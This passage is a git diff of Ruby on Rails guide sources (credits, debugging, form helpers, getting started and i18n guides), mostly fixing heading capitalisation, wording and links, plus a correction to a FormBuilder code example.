"Rails core team":http://rubyonrails.org/core. He maintains a blog at "has_many :bugs, :through => :rails":http://m.onkey.org and has an active "twitter account":http://twitter.com/lifo. +<% end %> + +<% author('Xavier Noria', 'fxn', 'fxn.jpg') do %> + Xavier Noria has been around dynamic languages since 2000. He fell in love with Rails in 2005, and cofounded Rails-based software company <a href="http://www.aspgems.com">ASPgems</a> in mid-2006. Xavier is president of the <a href="http://www.srug.org/">Spanish Ruby Users Group</a> and has been involved in Rails in several ways. He enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Oh, he also "tweets":http://twitter.com/fxn! +<% end %> + +<h3 class="section">Rails Guides Designers</h3> + +<% author('Jason Zimdars', 'jz') do %> + Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="http://twitter.com/JZ">Twitter</a>. +<% end %> + +<h3 class="section">Rails Guides Authors</h3> + <% author('Frederick Cheung', 'fcheung') do %> Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at "spacevatican.org":http://www.spacevatican.org. <% end %> @@ -17,23 +39,14 @@ p. We'd like to thank the following people for their tireless contributions to t Jeff Dean is a software engineer with "Pivotal Labs":http://pivotallabs.com. <% end %> -<% author('Mike Gunderloy', 'mgunderloy') do %> - Mike Gunderloy is a consultant with "ActionRails":http://www.actionrails.com and also a member of the "Rails activism team":http://rubyonrails.org/activists . He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at "A Fresh Cup":http://afreshcup.com and he "twitters":http://twitter.com/MikeG1 too much. -<% end %> - <% author('Cássio Marques', 'cmarques') do %> Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at "/* CODIFICANDO */":http://cassiomarques.wordpress.com, which is mainly written in Portuguese, but will soon get a new section for posts with English translation. <% end %> -<% author('Pratik Naik', 'lifo') do %> - Pratik Naik is a Ruby on Rails consultant with "ActionRails":http://www.actionrails.com and also a member of the "Rails core team":http://rubyonrails.com/core. He maintains a blog at "has_many :bugs, :through => :rails":http://m.onkey.org and has an active "twitter account":http://twitter.com/lifo. - <% author('Emilio Tagua', 'miloops') do %> - Emilio Tagua -- a.k.a. miloops -- is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of "Eventioz":http://www.eventioz.com. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as miloops. + Emilio Tagua -- a.k.a. miloops -- is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of "Eventioz":http://eventioz.com. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as miloops. <% end %> <% author('Heiko Webers', 'hawe') do %> Heiko Webers is the founder of "bauland42":http://www.bauland42.de, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the "Ruby on Rails Security Project":http://www.rorsecurity.info. After 10 years of desktop application development, Heiko has rarely looked back. <% end %> - -<% end %> diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile index b1d6db2e55..c059fdabf8 100644 --- a/railties/guides/source/debugging_rails_applications.textile +++ b/railties/guides/source/debugging_rails_applications.textile @@ -17,7 +17,7 @@ One common task is to inspect the contents of a variable. In Rails, you can do t * +to_yaml+ * +inspect+ -h4. debug +h4. +debug+ The +debug+ helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view: @@ -46,7 +46,7 @@ attributes_cache: {} Title: Rails debugging guide </yaml> -h4. to_yaml +h4. +to_yaml+ Displaying an instance variable, or any other object or method, in yaml format can be achieved this way: @@ -76,7 +76,7 @@ attributes_cache: {} Title: Rails debugging guide </yaml> -h4. inspect +h4. +inspect+ Another useful method for displaying object values is +inspect+, especially when working with arrays or hashes. This will print the object value as a string. For example: @@ -96,7 +96,7 @@ Will be rendered as follows: Title: Rails debugging guide </pre> -h4. Debugging Javascript +h4. Debugging JavaScript Rails has built-in support to debug RJS, to active it, set +ActionView::Base.debug_rjs+ to _true_, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). @@ -118,7 +118,7 @@ h3. The Logger It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment. -h4. What is The Logger? +h4. What is the Logger? Rails makes use of Ruby's standard +logger+ to write log information. You can also substitute another logger such as +Log4R+ if you wish. @@ -209,7 +209,7 @@ Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localh Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia. -h3. Debugging with ruby-debug +h3. Debugging with +ruby-debug+ When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion. diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile index 41d8fba3dc..9ab4deff4e 100644 --- a/railties/guides/source/form_helpers.textile +++ b/railties/guides/source/form_helpers.textile @@ -1,4 +1,4 @@ -h2. Rails form helpers +h2. Rails Form helpers Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use. @@ -16,7 +16,7 @@ endprologue. NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit "the Rails API documentation":http://api.rubyonrails.org/ for a complete reference. -h3. Dealing With Basic Forms +h3. Dealing with Basic Forms The most basic form helper is +form_tag+. @@ -43,7 +43,7 @@ If you carefully observe this output, you can see that the helper generated some NOTE: Throughout this guide, this +div+ with the hidden input will be stripped away to have clearer code samples. -h4. A Generic search form +h4. A Generic Search Form Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of: @@ -82,7 +82,7 @@ Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. -h4. Multiple hashes in form helper calls +h4. Multiple Hashes in Form Helper Calls By now you've seen that the +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class. @@ -104,7 +104,7 @@ This is a common pitfall when using form helpers, since many of them accept mult WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an +expecting tASSOC+ syntax error. -h4. Helpers for generating form elements +h4. Helpers for Generating Form Elements Rails provides a series of helpers for generating form elements such as checkboxes, text fields, radio buttons, and so on. These basic helpers, with names ending in <notextile>_tag</notextile> such as +text_field_tag+, +check_box_tag+, etc., generate just a single +<input>+ element. The first parameter to these is always the name of the input. In the controller this name will be the key in the +params+ hash used to get the value entered by the user. For example, if the form contains @@ -140,7 +140,7 @@ output: The second parameter to +check_box_tag+ is the value of the input. This is the value that will be submitted by the browser if the checkbox is ticked (i.e. the value that will be present in the +params+ hash). With the above form you would check the value of +params[:pet_dog]+ and +params[:pet_cat]+ to see which pets the user owns. -h5. Radio buttons +h5. Radio Buttons Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e. the user can only pick one): @@ -162,7 +162,7 @@ As with +check_box_tag+ the second parameter to +radio_button_tag+ is the value IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region. -h4. Other helpers of interest +h4. Other Helpers of Interest Other form controls worth mentioning are the text area, password input and hidden input: @@ -183,9 +183,9 @@ Hidden inputs are not shown to the user, but they hold data like any textual inp TIP: If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating +filter_parameter_logging(:password)+ in your ApplicationController. -h3. Dealing With Model Objects +h3. Dealing with Model Objects -h4. Model object helpers +h4. Model Object Helpers A particularly common task for a form is editing or creating a model object. While the +*_tag+ helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the <notextile>_tag</notextile> suffix, for example +text_field+, +text_area+. @@ -207,7 +207,7 @@ WARNING: You must pass the name of an instance variable, i.e. +:person+ or +"per Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the "Active Record Validations and Callbacks":./activerecord_validations_callbacks.html#_using_the_tt_errors_tt_collection_in_your_view_templates guide. -h4. Binding a form to an object +h4. Binding a Form to an Object While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what +form_for+ does. @@ -276,7 +276,7 @@ which produces the following output: The object yielded by +fields_for+ is a form builder like the one yielded by +form_for+ (in fact +form_for+ calls +fields_for+ internally). -h4. Relying on record identification +h4. Relying on Record Identification The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*. @@ -302,7 +302,7 @@ Rails will also automatically set the +class+ and +id+ of the form appropriately WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, +:url+, and +:method+ explicitly. -h5. Dealing with namespaces +h5. Dealing with Namespaces If you have created namespaced routes, +form_for+ has a nifty shorthand for that too. If your application has an admin namespace then @@ -343,7 +343,7 @@ output: When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example). -h3. Making select boxes with ease +h3. Making Select Boxes with Ease Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated. @@ -360,7 +360,7 @@ Here is what the markup might look like: Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here. -h4. The select and options tag +h4. The Select and Option Tags The most generic helper is +select_tag+, which -- as the name implies -- simply generates the +SELECT+ tag that encapsulates an options string: @@ -404,7 +404,7 @@ Whenever Rails sees that the internal value of an option being generated matches TIP: The second argument to +options_for_select+ must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to +options_for_select+ -- you must pass 2. Be aware of values extracted from the +params+ hash as they are all strings. -h4. Select boxes for dealing with models +h4. Select Boxes for Dealing with Models In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the +_tag+ suffix from +select_tag+: @@ -429,7 +429,7 @@ As with other helpers, if you were to use the +select+ helper on a form builder WARNING: If you are using +select+ (or similar helpers such as +collection_select+, +select_tag+) to set a +belongs_to+ association you must pass the name of the foreign key (in the example above +city_id+), not the name of association itself. If you specify +city+ instead of +city_id+ Active Record will raise an error along the lines of <pre> ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) </pre> when you pass the +params+ hash to +Person.new+ or +update_attributes+. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of +attr_protected+ and +attr_accessible+. For further details on this, see the "Ruby On Rails Security Guide":security.html#_mass_assignment. -h4. Option tags from a collection of arbitrary objects +h4. Option Tags from a Collection of Arbitrary Objects Generating options tags with +options_for_select+ requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them: @@ -454,7 +454,7 @@ To recap, +options_from_collection_for_select+ is to +collection_select+ what +o NOTE: Pairs passed to +options_for_select+ should have the name first and the id second, however with +options_from_collection_for_select+ the first argument is the value method and the second the text method. -h4. Time zone and country select +h4. Time Zone and Country Select To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using +collection_select+, but you can simply use the +time_zone_select+ helper that already wraps this: @@ -475,7 +475,7 @@ The date and time helpers differ from all the other form helpers in two importan Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.). -h4. Barebones helpers +h4. Barebones Helpers The +select_*+ family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example @@ -499,7 +499,7 @@ Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, pa The +:prefix+ option is the key used to retrieve the hash of date components from the +params+ hash. Here it was set to +start_date+, if omitted it will default to +date+. -h4. Model object helpers +h4. Model Object Helpers +select_date+ does not work well with forms that update or create Active Record objects as Active Record expects each element of the +params+ hash to correspond to one attribute. The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example: @@ -524,7 +524,7 @@ which results in a +params+ hash like When this is passed to +Person.new+ (or +update_attributes+), Active Record spots that these parameters should all be used to construct the +birth_date+ attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as +Date.civil+. -h4. Common options +h4. Common Options Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the +:start_year+ and +:end_year+ options override this. For an exhaustive list of the available options, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html. @@ -532,7 +532,7 @@ As a rule of thumb you should be using +date_select+ when working with model obj NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week. -h4. Individual components +h4. Individual Components Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overriden with the +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value. @@ -563,7 +563,7 @@ The following two forms both upload a file. Rails provides the usual pair of helpers: the barebones +file_field_tag+ and the model oriented +file_field+. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in +params[:picture]+ and in the second case in +params[:person][:picture]+. -h4. What gets uploaded +h4. What Gets Uploaded The object in the +params+ hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an +original_filename+ attribute containing the name the file had on the user's computer and a +content_type+ attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in +#{Rails.root}/public/uploads+ under the same name as the original file (assuming the form was the one in the previous example). @@ -605,9 +605,9 @@ can be replaced with by defining a LabellingFormBuilder class similar to the following: <ruby> -class LabellingFormBuilder < FormBuilder +class LabellingFormBuilder < ActionView::Helpers::FormBuilder def text_field(attribute, options={}) - label(attribute) + text_field(attribute, options) + label(attribute) + super end end </ruby> @@ -631,7 +631,7 @@ Fundamentally HTML forms don't know about any sort of structured data, all they TIP: You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example <pre> ActionController::UrlEncodedPairParser.parse_query_parameters "name=fred&phone=0123456789" # => {"name"=>"fred", "phone"=>"0123456789"} </pre> -h4. Basic structures +h4. Basic Structures The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in +params+. For example if a form contains @@ -669,7 +669,7 @@ Normally Rails ignores duplicate parameter names. If the parameter name contains This would result in +params[:person][:phone_number]+ being an array. -h4. Combining them +h4. Combining Them We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment @@ -685,7 +685,7 @@ There's a restriction, however, while hashes can be nested arbitrarily, only one WARNING: Array parameters do not play well with the +check_box+ helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The +check_box+ helper fakes this by creating a second hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use +check_box_tag+ or to use hashes instead of arrays. -h4. Using form helpers +h4. Using Form Helpers The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as +text_field_tag+ Rails also provides higher level support. The two tools at your disposal here are the name parameter to +form_for+ and +fields_for+ and the +:index+ option that helpers take. @@ -746,7 +746,7 @@ As a shortcut you can append [] to the name and omit the +:index+ option. This i produces exactly the same output as the previous example. -h3. Building Complex forms +h3. Building Complex Forms Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include: diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile index 3d6c16f11c..97f141b5e9 100644 --- a/railties/guides/source/getting_started.textile +++ b/railties/guides/source/getting_started.textile @@ -1,4 +1,4 @@ -h2. Getting Started With Rails +h2. Getting Started with Rails This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with: @@ -23,7 +23,7 @@ It is highly recommended that you *familiarize yourself with Ruby before diving * "Mr. Neighborly’s Humble Little Ruby Book":http://www.humblelittlerubybook.com * "Programming Ruby":http://www.rubycentral.com/book -* "Why’s (Poignant) Guide to Ruby":http://poignantguide.net/ruby +* "Why’s (Poignant) Guide to Ruby":http://poignantguide.net/ruby/ h3. What is Rails? @@ -115,6 +115,7 @@ If you’d like more details on REST as an architectural style, these resources * "A Brief Introduction to REST":http://www.infoq.com/articles/rest-introduction by Stefan Tilkov * "An Introduction to REST":http://bitworking.org/news/373/An-Introduction-to-REST (video tutorial) by Joe Gregorio * "Representational State Transfer":http://en.wikipedia.org/wiki/Representational_State_Transfer article in Wikipedia +* "How to GET a Cup of Coffee":http://www.infoq.com/articles/webber-rest-workflow by Jim Webber, Savas Parastatidis & Ian Robinson h3. Creating a New Rails Project @@ -174,7 +175,7 @@ In any case, Rails will create a folder in your working directory called <tt>blo |log/|Application log files.| |public/|The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go.| |script/|Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.| -|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing_rails_applications.html| +|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html| |tmp/|Temporary files| |vendor/|A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.| @@ -309,7 +310,7 @@ This line illustrates one tiny bit of the "convention over configuration" approa Now if you navigate to +http://localhost:3000+ in your browser, you'll see the +home/index+ view. -NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing_outside_in.html. +NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing.html. h3. Getting Up and Running Quickly With Scaffolding @@ -471,7 +472,7 @@ end This code sets the +@posts+ instance variable to an array of all posts in the database. +Post.find(:all)+ or +Post.all+ calls the +Post+ model to return all of the posts that are currently in the database, with no limiting conditions. -TIP: For more information on finding records with Active Record, see "Active Record Finders":finders.html. +TIP: For more information on finding records with Active Record, see "Active Record Query Interface":active_record_querying.html. The +respond_to+ block handles both HTML and XML calls to this action. If you browse to +http://localhost:3000/posts.xml+, you'll see all of the posts in XML format. The HTML format looks for a view in +app/views/posts/+ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's +app/view/posts/index.html.erb+: @@ -845,7 +846,7 @@ end Rails runs _before filters_ before any action in the controller. You can use the +:only+ clause to limit a before filter to only certain actions, or an +:except+ clause to specifically skip a before filter for certain actions. Rails also allows you to define _after filters_ that run after processing an action, as well as _around filters_ that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers. -For more information on filters, see the "Action Controller Basics":actioncontroller_basics.html guide. +For more information on filters, see the "Action Controller Overview":action_controller_overview.html guide. h3. Adding a Second Model diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile index bb445c0bf7..103ccb1c7a 100644 --- a/railties/guides/source/i18n.textile +++ b/railties/guides/source/i18n.textile @@ -12,37 +12,37 @@ So, in the process of _internationalizing_ your Rails application you have to: In the process of _localizing_ your application you'll probably want to do following three things: -* Replace or supplement Rails' default locale -- eg. date and time formats, month names, ActiveRecord model names, etc -* Abstract texts in your application into keyed dictionaries -- eg. flash messages, static texts in your views, etc +* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc +* Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc. * Store the resulting dictionaries somewhere This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start. endprologue. -NOTE: The Ruby I18n framework provides you with all neccessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See Rails "I18n Wiki":http://rails-i18n.org/wiki for more information. +NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails "I18n Wiki":http://rails-i18n.org/wiki for more information. -h3. How I18n in Ruby on Rails works +h3. How I18n in Ruby on Rails Works -Internationalization is a complex problem. Natural languages differ in so many ways (eg. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on: +Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on: * providing support for English and similar languages out of the box * making it easy to customize and extend everything for other languages -As part of this solution, *every static string in the Rails framework* -- eg. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults. +As part of this solution, *every static string in the Rails framework* -- e.g. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults. -h4. The overall architecture of the library +h4. The Overall Architecture of the Library Thus, the Ruby I18n gem is split into two parts: -* The public API of the i18n framework -- a Ruby module with public methods and definitions how the library works +* The public API of the i18n framework -- a Ruby module with public methods that define how the library works * A default backend (which is intentionally named _Simple_ backend) that implements these methods As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend. -NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#usingdifferentbackends below. +NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#using-different-backends below. -h4. The public I18n API +h4. The Public I18n API The most important methods of the I18n API are: @@ -70,34 +70,34 @@ backend # Use a different backend So, let's internationalize a simple Rails application from the ground up in the next chapters! -h3. Setup the Rails application for internationalization +h3. Setup the Rails Application for Internationalization -There are just a few, simple steps to get up and running with I18n support for your application. +There are just a few simple steps to get up and running with I18n support for your application. -h4. Configure the I18n module +h4. Configure the I18n Module -Following the _convention over configuration_ philosophy, Rails will set-up your application with reasonable defaults. If you need different settings, you can overwrite them easily. +Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily. -Rails adds all +.rb+ and +.yml+ files from +config/locales+ directory to your *translations load path*, automatically. +Rails adds all +.rb+ and +.yml+ files from the +config/locales+ directory to your *translations load path*, automatically. -See the default +en.yml+ locale in this directory, containing a sample pair of translation strings: +The default +en.yml+ locale in this directory contains a sample pair of translation strings: <ruby> en: hello: "Hello world" </ruby> -This means, that in the +:en+ locale, the key _hello_ will map to _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "+activerecord/lib/active_record/locale/en.yml+":http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "+activesupport/lib/active_support/locale/en.yml+":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. +This means, that in the +:en+ locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "+activerecord/lib/active_record/locale/en.yml+":http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "+activesupport/lib/active_support/locale/en.yml+":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. -The I18n library will use *English* as a *default locale*, ie. if you don't set a different locale, +:en+ will be used for looking up translations. +The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations. -NOTE: The i18n library takes *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". (For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Also, insults would be different in American and British English :) Reason for this pragmatic approach is that most of the time, you usually care about making your application available in different "languages", and working with locales is much simpler this way. However, nothing stops you from separating regional and other settings in the traditional way. In this case, you could eg. inherit from the default +en+ locale and then provide UK specific settings in a +:en-UK+ dictionary. +NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":http://github.com/joshmh/globalize2/tree/master may help you implement it. The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced. -The default +environment.rb+ files has instruction how to add locales from another directory and how to set different default locale. Just uncomment and edit the specific lines. +The default +environment.rb+ files has instruction how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines. <ruby> # The internationalization framework can be changed @@ -107,31 +107,32 @@ The default +environment.rb+ files has instruction how to add locales from anoth # config.i18n.default_locale = :de </ruby> -h4. Optional: custom I18n configuration setup +h4. Optional: Custom I18n Configuration Setup For the sake of completeness, let's mention that if you do not want to use the +environment.rb+ file for some reason, you can always wire up things manually, too. -To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an *initializer*: +To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer: <ruby> # in config/initializer/locale.rb # tell the I18n library where to find your translations -I18n.load_path << Dir[ File.join(RAILS_ROOT, 'lib', 'locale', '*.{rb,yml}') ] +I18n.load_path << Dir[ File.join(RAILS_ROOT, 'lib', 'locale', + '*.{rb,yml}') ] -# set default locale to something else then :en +# set default locale to something other than :en I18n.default_locale = :pt </ruby> -h4. Setting and passing the locale +h4. Setting and Passing the Locale If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in +environment.rb+ or an initializer as shown above, and it will persist through the requests. However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests. -WARNING: You may be tempted to store choosed locale in a _session_ or a _cookie_. *Do not do so*. The locale should be transparent and a part of the URL. This way you don't break people's basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you're being "_RESTful_":http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about RESTful approach in "Stefan Tilkov's articles":http://www.infoq.com/articles/rest-introduction. There may be some exceptions to this rule, which are discussed below. +WARNING: You may be tempted to store the chosen locale in a _session_ or a _cookie_. *Do not do so*. The locale should be transparent and a part of the URL. This way you don't break people's basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you're being "_RESTful_":http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in "Stefan Tilkov's articles":http://www.infoq.com/articles/rest-introduction. There may be some exceptions to this rule, which are discussed below. -The _setting part_ is easy. You can set locale in a +before_filter+ in the ApplicationController like this: +The _setting part_ is easy. You can set the locale in a +before_filter+ in the ApplicationController like this: <ruby> before_filter :set_locale @@ -141,13 +142,13 @@ def set_locale end </ruby> -This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is eg. Google's approach). So +http://localhost:3000?locale=pt+ will load the Portugese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing locale in the URL and reloading the page. +This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is, for example, Google's approach.) So +http://localhost:3000?locale=pt+ will load the Portugese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing the locale in the URL and reloading the page. -Of course, you probably don't want to manually include locale in every URL all over your application, or want the URLs look differently, eg. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss the different options you have. +Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss 